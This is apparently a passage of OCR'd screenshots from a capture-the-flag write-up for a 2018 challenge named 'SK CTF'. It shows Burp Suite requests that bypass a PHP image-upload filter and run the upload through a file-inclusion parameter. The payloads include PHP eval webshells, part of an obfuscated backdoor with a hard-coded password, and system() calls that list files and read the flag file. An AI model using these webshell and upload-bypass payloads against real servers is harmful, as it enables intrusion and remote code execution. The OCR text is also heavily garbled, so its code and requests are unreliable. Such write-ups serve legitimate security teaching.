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<!— upload. php —>
<!doctype html>
<html>
<head>
<meta charset="utf-8"/>
<{meta http—equiv="Y-UA-Compatible” content="IE=edge”>
<{meta name="viewport” content="width=device—width, initial-scale=l, maximum—scale=1">
{title>SK CTF<{/title>
<link rel="stylesheet” type="text/css” href=". /sbout/main.css”/>
</head>

<body>
<div class="vi">
{div class="sidebar”>
{div class="header”>
<h1>5K CTF</h1>
<div class="quote”>
<{p class="quote—text animate—init »WELCOME TO SK CTF</a><{/p>
<fdivy
</div>
<div class="relocating”>
Navizating to: ¢span class="relocate-location”></span>. ..
<fdiv>
<fdivy

<div class="content”>
<span class="close”>close!/span>
</divy
</divy
<{script type="text/javascript” src="./sbout/index. js"><{/script>
{script>
$ (document). ready (function () {
var delay = 1;
var DELAY_STEP = 200;

var animationOptions = { opacity: 1, top: 0};

$(hl’ ). animate (animationOptions). promise ()
. pipe (animateMain)
. pipe{animatelLocationIcon) ;
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[Target [ Proxy I Spider I Scanner I Intruder TRepeater T Sequencer T Decoder T Comparer T Extender T Project options [ User options IAIerts 1

1 = |2 = [ 3 2| ...
Go Cancel <|v > v Target: http://118.89.219.210:49166 w U
Request Response

jRaw T Params [ Headers [ Hex 1

| Raw | Headers | Hex |

rv:52.0) Gecko/20L0010L Firefox/52.0 A
Locept:

text/html, application/xhtml+xml, application/=ml;c=0.9,*
J*rq=0.8

Lecept-Language: zh-CH, zh;q=0.8,en-US3;qg=0.5,en;q=0.3
Lecept—-Encoding: gzip, deflate

Feferer:

http://L1B.859.219.210:45916¢/ index.php?file=upload. php
Connection: close

Upgrade-Insscure-Fequests: 1

Content-Type: multipart/form-data;
boundary=-——————————————————————— ——— 153359827624439

————————————————————————————— 183398276244309

Content-Disposition: form-data; name="file"; L%
Eilename="11.phpOjpg™
Content-Types: image/Jjpsg

TRhp

$password='myhack58' ;/ /0000 (0000}

Sc="chr";
session_starti);

if (empty(§ _SESSICN[' PhpCode']))({

furl=$c(104).8c(LLE) .§c(lLlE) . §c(ll2) . Sc(58) .4 (47); "',.
2 < + = Type a search term 0 matches
Done
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HTTE/1.1 200 CE '
Date: Sat, 14 Apr 2018 11:2Z:34 GHMT -
Server: Apache/2.4.10 (Debian)
Vary: Accept-Encoding
Content-Length: 534
Connection: close
Content-Type: text/html; charset=UTF-8
<!-- upload.php -->
<html>
<head>
<meta charsec="utf-g"/>
“meta http-equiv="X{-TA-Compatikle"
content="IE=edgs">
<meta name="viewport" content="width=device-width,
initial-scale=1l, maximun-scale=1">
<title>UPLOAD</titlex
</ head>
<form action="" enctype="wultipart/form-data"
method="post"
name="upload">File:<input type="file" nams="fils"
fe<bhr>
<input type="submit" wvaluse="upload" /></forms
O00j4pg _gif png 00000 OOO0O0OOOO100KiB<br:>
upload failed!|allow only Jjpg,pnyg,gif, jpep
-
k|
2 < + = Type a search term 0 matches

725 bytes | 33 millis
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Burp Intruder Repeater Window Help

[Target I Proxy I Spider I Scanner I Intruder T Repeater T Sequencer I Decoder I Comparer T Extender T Project options T User options IA'E”.S ]

[1:]2 |3 Jax]82]-]

Go Cancel < | > |

Request
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Target: http://118.89.219.210:49166 | # || 7

Response

[ Raw | Headers | Hex |

POST /index.php?file=upload.php HTTE/1.1 i
Host: 118.85.219.210:491¢c& a
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4:
rv:52.0) Gecko/20100L10L Firefox/52.0
Aooept:
text/html, application/xhtml+xml, application/xml;c=0.9,*
Jrig=0.8
Aocept-Language: zh-CHN, zh;q=0.8,en-US;g=0.5,en;q=0.3
Aoccept-Encoding: gzip, deflate
Feferer:
http://L118.89.219.210:49166/ index.php?file=upload.php
Connection: close
Upgrades-Insecure-FRegquests: 1
Content-Type: multipart/form-data;r
boundary=-—————-—----""-"—"—"—"-"——-———————— 514430473 176&
Content-Length: 189
————————————————————————————— 514430473176E
Content-Disposition: form-data; nams="file'";
filename=
Content-Ty
=
————————————————————————————— 514430473 1766--
-
¥
erm 0 matches

Z < + > Type a search f

Done
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X B M <?=eval($_POST['shell']);> BX

<script language=php>
@eval($_POST[pupill]);

HTTP/1l.l 200 OK A
Date: Sat, 14 Apr 2018 11:27:50 GMT P
Server: Apaches/2.4.10 (Debian)
Vary: Accept-Encoding
Content-Length: 554
Connection: close
Content-Type: text/html; charset=UTF-§
<!-— upload.php -->
<html>
<head>
<meta charset="utf-8"/>
<m=ta http-squiv="X-UL-Compatible"
content="IE=sdg=">
<meta name="wviewport" content="width=device-width,
initial-scale=1, maximum-scale=1">
<title>UPLOAD</title>
</head>
<form action="" enctype="multipart/form-data"
method="post™
name="upload">file:<input type="file" name="file"
J=<br>
<input type="submit" valus="upload" /></form>
[m[m ] if png 00000 O00000O0100KiB<br>
file upload successful!Save in:
upload/201804141127507258.jpg
-
¥
erm 0 matches
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745 bytes | 28 millis
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/upload/201804141155474379. jpg
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file upload successful'Save in: upload
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<script language=php>system("1s")</script>

7 2, & 285 4 4 Njpg, in233.php;.jpg, L A% BTl
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file:| es... | SeisEEEsciE.
upload

B Ef&jpg gif png FETUATAT 34 A/ T-ERERIT 100KiB
file upload successful!Save in: upload/201804141202562458.jpg
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http://118.89.219.210:49166/index.php?file=upload/201804141202562458.pg

UPLOAD % httpy//118.89...202562458jpg X =+

€ © 118.89.219.210:49166/index.phplfile=upload/201804141202562458jpc | @ 28 & & Q Z&= <Ctri+K>
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<script language=php>system("cat KIS . txt")</script>
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